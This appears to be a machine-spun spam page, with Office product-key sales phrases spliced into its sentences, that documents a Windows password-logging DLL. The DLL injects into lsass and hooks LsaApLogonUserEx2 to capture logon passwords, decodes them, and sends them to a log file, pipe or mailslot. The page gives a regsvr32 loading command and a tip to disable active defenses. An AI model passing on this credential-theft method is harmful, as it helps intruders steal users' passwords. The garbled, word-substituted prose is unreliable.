Office 2007 Product Key Windows login password can

windows authentication are in the long run within the lsass method usually, the default module is msv1_0.dll, along with the crucial in its export perform LsaApLogonUserEx2,

this procedure by injecting code in to the lsass procedure hook LsaApLogonUserEx2, intercept passwords . As long as the authentication procedure,

LsaApLogonUserEx2 triggers, like the ipc $, runsa, 3389 Remote Desktop landing.
system to complete the processing around the several methods,office 2007 sale, in 2000,2003, xp, vista on both interception,

in 2000,Office 2007 Product Key,2003, xp, by way of UNICODE_STRING.Length high eight to bit xor crucial, when the password is encoded, then decoded by ntdll.RtlRunDecodeUnicodeString,

vista password by way of the AdvApi32.CredIsProtectedW ascertain no matter whether the encoded decoding with AdvApi32.CredUnprotectW.
lsass can operate your debugger to hang about:)

======== Interface:

HRESULT WINAPI DllInstall (BOOL bInstall,Office 2010 Professional Key, LPCWSTR pszCmdLine );

This is the prototype of the function exported dll, please don't be fooled through the identify,Office Ultimate 2007, this plan is green.
this function doesn't possess the installation of any action from your start off, to not modify the registry or method files. Just desired to pick a steady interface regsvr32 contact it.
the first parameter towards the plan is ineffective,

second parameter, specify a file path (note the UNICODE), the recorded data are going to be saved to here (Ansi a).
file path could be like this C: x.log,

is often as . Pipe your_pipename, . Mailslot yourslot,
Therefore you write your personal loader to get in touch with the dll, so that dll to intercept the password information by means of the pipe or mailslot sent for your program. Information is often a string (which can be Ansi's)

======== Test:

you are able to create your personal loader not rush to phone,Buy Office Standard 2007, as being a loader with regsvr32 to test this: (you might need to near a number of the lively defense)

regsvr32 / n / i: c: xxx.log c: pluginWinPswLogger.dll

typical, then regsvr32 pop a prompt accomplishment.
this time you may change consumer or lock the laptop or computer after which log back in, the procedure specifics to be intercepted password down and preserve it to c: xxx.log.
========= Finish